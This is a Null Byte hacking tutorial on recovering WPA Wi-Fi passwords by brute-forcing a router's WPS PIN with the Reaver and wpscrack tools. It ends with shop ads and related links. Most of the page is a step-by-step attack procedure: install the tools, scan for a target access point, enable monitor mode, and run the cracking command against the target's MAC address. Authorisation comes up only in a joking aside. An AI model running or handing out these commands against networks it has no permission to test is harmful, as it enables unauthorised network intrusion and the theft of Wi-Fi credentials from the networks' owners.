How to Hack WPA WiFi Passwords by Cracking the WPS PIN « Null Byte :: WonderHowTo

A flaw inWPS, orWiFiProtectedSetup, known about for over a year byTNS, was finally exploited with proof of concept code. BothTNS, the discoverers of the exploit and Stefan at.braindumphave created their respective "reaver" and "wpscrack" programs to exploit the WPS vulnerability. From this exploit, the WPA password can be recovered almost instantly in plain-text once the attack on the access point WPS is initiated, which normally takes 2-10 hours (depending on which program you use).This exploit defeats WPS via anintelligentbrute force attack to the static WPS PIN. By guessing the PIN, the router will actually throw back, whether or not the first four digits (of eight) are correct. Then, the final number is a checking number used to satisfy an algorithm. This can be exploited to brute force the WPS PIN, and allow recovery of the WPA password in an incredibly short amount of time, as opposed to the standard attack on WPA.In thisNull Byte, let's go over how to use both tools to crack WPS. As of yet, no router is safe from this attack, and yetnoneof the vendors have reacted and released firmware with mitigations in place. Even disabling WPS still allows this attack on most routers.RequirementsRaspberry Pi.Image by SADMIN/Null ByteA computer (or virtual machine) running Kali Linux OS. If you're a beginner, you can start with our Kali Pi buildbased on the $35 Raspberry Pi.which we go over in detail here:Check out:Get Started Hacking on Kali Linux for Cheap With the Kali PiA router at home with WPSA Wireless Network Adapter capable of monitor mode and packet injection. Confused?Check out our 2017 guide here, or you can get started with our most popularlong rangeandshort range adaptersfor beginners.The following programs installed (install by package name):aircrack-ng, python-pycryptopp, python-scapy, libpcap-devSADMIN / Null ByteToolsReaver(support for all routers)wpscrack(faster, but only support for major router brands)Crack WPSText inboldis a terminal command.Follow the guide that corresponds to the tool that you chose to use below.ReaverUnzip Reaver.unzip reaver-1.3.tar.gzChange to the Reaver directory.cd reaver-1.3Configure, compile and install the application../configure && make && sudo make installScan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).sudo iwlist scan wlan0Set your device into monitor mode.sudo airmon-ng start wlan0Run the tool against an access point.reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vvWait until it finishes.This tool makes it too easy.wpscrack.pyMake the program an executable.chmod +x wpscrack.pyScan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).sudo iwlist scan wlan0Get your MAC address, save it for later.ip link show wlan0 | awk '/ether/ {print $2}'Set your device into monitor mode.sudo airmon-ng start wlan0Attack your AP.wpscrack.py –iface mon0 –client <your MAC, because you're attacking yourself, right?> –bssid <AP MAC address> --ssid <name of your AP> -vAwait victory.Now, let's hope we see a lot of firmware update action going on in the near future, or else a lot of places are in a whole world of trouble.Be a Part of Null Byte!Follow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viathehackernewsRelatedHow To:Brute-Force WPA/WPA2 via GPUHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Hack WPA wireless networks for beginners on Windows and LinuxHow To:Get WPA-WPS Passwords with Pyxiewps.News:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:New Pyxiewps Version Is Out.